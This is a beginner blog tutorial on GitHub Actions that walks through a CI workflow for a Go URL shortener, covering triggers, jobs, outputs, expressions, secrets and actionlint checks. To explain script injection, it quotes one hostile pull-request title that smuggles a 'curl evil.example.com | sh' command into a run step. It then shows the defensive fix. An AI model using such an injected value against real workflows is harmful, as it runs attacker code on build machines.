GitHub Actions from zero: workflows, jobs, steps and triggers
A beginner walk through GitHub Actions using the shorty Go app: workflow files, jobs and steps, the push, pull_request, workflow_dispatch and schedule triggers, runners, contexts and expressions, and when to use a secret or a variable.
Every post on this blog starts as a Markdown file in a git repo (I wrote about that setup in blogs as code). Code is the same. You push, and something should build and test it without you remembering to. On GitHub that something is GitHub Actions.
In this blog we will look at GitHub Actions from zero: what a workflow file is, how jobs and steps fit together, the four triggers you will use most, and the small expression language that ties it all together. The example is shorty, the Go URL shortener from the REST API post. If you want the bigger picture of build, test and deploy stages first, read CI/CD explained.
Level is beginner. You need a GitHub repo and basic git. I used actions/checkout@v7, actions/setup-go@v7, actions/upload-artifact@v7, Go 1.27 and actionlint 1.7.12, which were current in November 2026.
The words you need
GitHub Actions has a handful of nouns and people actually mix them up all the time, so let us get them straight.
A workflow is one YAML file under .github/workflows/. A repo can have many. Each workflow has triggers (on:) and one or more jobs. Every job runs on its own fresh machine called a runner, and jobs run in parallel unless you tell them to wait. A job is a list of steps. A step either runs a shell command (run:) or calls an action (uses:), which is a reusable piece of code someone published, like actions/checkout.
That's the whole model. Workflow, jobs, steps.
Your first workflow
Create .github/workflows/hello.yml in the repo:
name: hello
on:
push:
jobs:
say-hello:
runs-on: ubuntu-latest
steps:
- name: Print a greeting
run: echo "Hello from ${{ github.actor }} on ${{ github.ref_name }}"
- name: Show the machine
run: |
uname -a
nproc
df -h /
Commit it and push. Open the Actions tab and you will see a run named after your commit message. Click into it and each step has its own log.
runs-on: ubuntu-latest asks for a GitHub-hosted Linux runner. Right now ubuntu-latest means Ubuntu 24.04 on x64. There is also ubuntu-24.04-arm, ubuntu-26.04, windows-latest and macos-latest. I pin the exact label (ubuntu-24.04) for anything that has to be stable, because the -latest labels move to a new OS version over a month or two and you don't get to pick the day.
The ${{ ... }} bits are expressions. GitHub replaces them before the shell ever sees the command. More on that below.
The real workflow for shorty
Hello world is fine but it does nothing useful. Here is the workflow I ended up with for shorty. It tests, builds a binary, keeps it as an artifact and writes a short summary.
name: ci
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
inputs:
log_level:
description: Log level for the test run
type: choice
options: [info, debug]
default: info
skip_build:
description: Only run the tests
type: boolean
default: false
schedule:
- cron: "30 2 * * 1"
timezone: "Asia/Kolkata"
permissions:
contents: read
env:
CGO_ENABLED: "0"
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version-file: go.mod
- name: Vet
run: go vet ./...
- name: Test
env:
LOG_LEVEL: ${{ inputs.log_level || 'info' }}
run: go test -count=1 ./...
build:
needs: test
if: ${{ !inputs.skip_build }}
runs-on: ubuntu-latest
env:
SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}
outputs:
version: ${{ steps.meta.outputs.version }}
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version-file: go.mod
- name: Work out a version
id: meta
run: echo "version=$(date -u +%Y%m%d)-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
- name: Build
run: go build -trimpath -ldflags "-s -w" -o bin/shorty ./cmd/shorty
- name: Notify
env:
VERSION: ${{ steps.meta.outputs.version }}
if: ${{ env.SLACK_WEBHOOK_URL != '' }}
run: |
curl -fsS -X POST -H 'Content-Type: application/json' \
-d "{\"text\": \"shorty ${VERSION} built\"}" "$SLACK_WEBHOOK_URL"
- uses: actions/upload-artifact@v7
with:
name: shorty-${{ steps.meta.outputs.version }}
path: bin/shorty
retention-days: 7
summary:
needs: build
runs-on: ubuntu-latest
steps:
- name: Write a job summary
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "### shorty build" >> "$GITHUB_STEP_SUMMARY"
echo "Version: ${{ needs.build.outputs.version }}" >> "$GITHUB_STEP_SUMMARY"
echo "Triggered by: ${{ github.event_name }}" >> "$GITHUB_STEP_SUMMARY"
echo "Base URL: ${{ vars.SHORTY_BASE_URL }}" >> "$GITHUB_STEP_SUMMARY"
echo "PR title: ${PR_TITLE:-none}" >> "$GITHUB_STEP_SUMMARY"
It looks like a lot. Let us take it apart.
Triggers
The on: block decides when the workflow runs. I use four.
push with branches: [main] runs on every push to main. Without the branch filter it runs on every push to every branch, which together with pull_request gives you two runs for the same commit on a PR branch. See, the problem here is two sets of checks on every PR, both doing the same thing. The branch filter stops that.
pull_request runs when a PR is opened or gets new commits. It tests the merge result of your branch and the base, which is what you want before merging. For PRs from forks, GitHub doesn't pass your secrets and the GITHUB_TOKEN is read only. Good default, leave it.
workflow_dispatch adds a Run workflow button in the Actions tab. The inputs show up as a form. You can have up to 25 of them, and the types I use most are choice, boolean and string. From the terminal it is:
gh workflow run ci.yml -f log_level=debug -f skip_build=true
schedule takes cron syntax. Cron here was UTC only for years, and for anyone in IST that meant doing the minus 5:30 in your head. There is now a timezone key that takes an IANA name, so 30 2 * * 1 with Asia/Kolkata is 2:30 AM IST every Monday. A few things to know: schedules only run from the default branch, the shortest interval is 5 minutes, runs at the top of the hour get delayed more often (so pick an odd minute) and on a public repo with no activity for 60 days GitHub disables the schedule.
Jobs, needs and outputs
Jobs run in parallel by default. needs: test makes build wait for test and skip if test fails. summary needs build, so the order is test, build, summary.
I like checking the order before pushing anything. act can list the job graph from the YAML without running it:
go install github.com/nektos/act@v0.2.98
act -l
Stage Job ID Job name Workflow name Workflow file Events
0 test test ci ci.yml schedule,push,pull_request,workflow_dispatch
0 say-hello say-hello hello hello.yml push
1 build build ci ci.yml push,pull_request,workflow_dispatch,schedule
2 summary summary ci ci.yml schedule,push,pull_request,workflow_dispatch
Stage 0 runs together, then 1, then 2. Exactly what I wanted.
Each job is a new machine, so nothing on disk carries over. To pass a small value between jobs you use outputs. A step writes name=value lines to the file in $GITHUB_OUTPUT, the job maps it under outputs:, and a later job reads it as needs.build.outputs.version. For files (the binary) you use upload-artifact and download-artifact instead. Artifacts show on the run page and you can download them for 7 days here, because of retention-days.
Contexts and expressions
Inside ${{ }} you can read contexts. The full list of contexts are longer, these are the ones I use most:
github: the event, repo, ref, SHA, actor.github.eventis the full webhook payload.inputs: the workflow_dispatch form values.env,varsandsecrets.stepsandneeds: outputs of earlier steps and jobs.runner: OS, arch, temp dir.
Expressions support ==, !=, &&, ||, ! and functions like contains(), startsWith(), format(), success() and failure(). inputs.log_level || 'info' is the usual trick for a default, since inputs is empty on a push. Same reason !inputs.skip_build works on a push: empty is falsy, so the build runs.
An if: on a job or step decides if it runs. You can drop the ${{ }} in if: but I keep it, it is easier to read.
Secrets vs variables
Both live under Settings > Secrets and variables > Actions, at repo, org or environment level.
Secrets are encrypted, masked in logs (shown as ***) and not passed to workflows from forks. Use them for tokens, passwords and webhook URLs. Variables (vars) are plain text and you can read them back in the UI. Use them for things like a base URL, a region or a feature flag. If you put a password in a variable, it will show up in the logs in clear text. Don't.
Setting them from the CLI:
gh secret set SLACK_WEBHOOK_URL
gh variable set SHORTY_BASE_URL --body "https://sho.example.com"
gh secret set asks for the value on stdin, so it doesn't go into your shell history.
What actionlint caught
Before pushing I ran actionlint on repo. My first draft itself had two mistakes and it found both.
go install github.com/rhysd/actionlint/cmd/actionlint@v1.7.12
actionlint
The output, trimmed a little:
.github/workflows/ci.yml:67:17: context "secrets" is not allowed here. available contexts are "env", "github", "inputs", "job", "matrix", "needs", "runner", "steps", "strategy", "vars". [expression]
|
67 | if: ${{ secrets.SLACK_WEBHOOK_URL != '' }}
| ^~~~~~~~~~~~~~~~~~~~~~~~~
.github/workflows/ci.yml:81:304: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. [expression]
The first one surprises everyone once. You can't use secrets in an if:. The fix is what you see in the final file: put the secret in the job's env: and test env.SLACK_WEBHOOK_URL instead. Now the Notify step just skips when the secret isn't set, which is handy for forks.
The second one matters more. I had echo "PR title: ${{ github.event.pull_request.title }}" in a run: block. Now what happens is, expressions are pasted into the script before bash runs it, so a PR titled "; curl evil.example.com | sh; echo " would run that command on the runner. Anyone can open a PR with any title. Pass it through env: and refer to $PR_TITLE, then bash treats it as data.
One more check I like: act -n does a dry run of the whole workflow without starting any containers, so you see every step it would run and in what order.
act -n push -W .github/workflows/ci.yml
The permissions line
permissions: contents: read at the top limits the automatic GITHUB_TOKEN to reading the repo. This workflow doesn't need to write anything, so it shouldn't be able to. Put it in every workflow from day one, it is much harder to add later when you don't remember what each job needs.
That's it. Push ci.yml, open a PR against main and watch the three jobs go green one after the other. The next posts in this series build on this same file, with caching and linting for Go and then Docker images.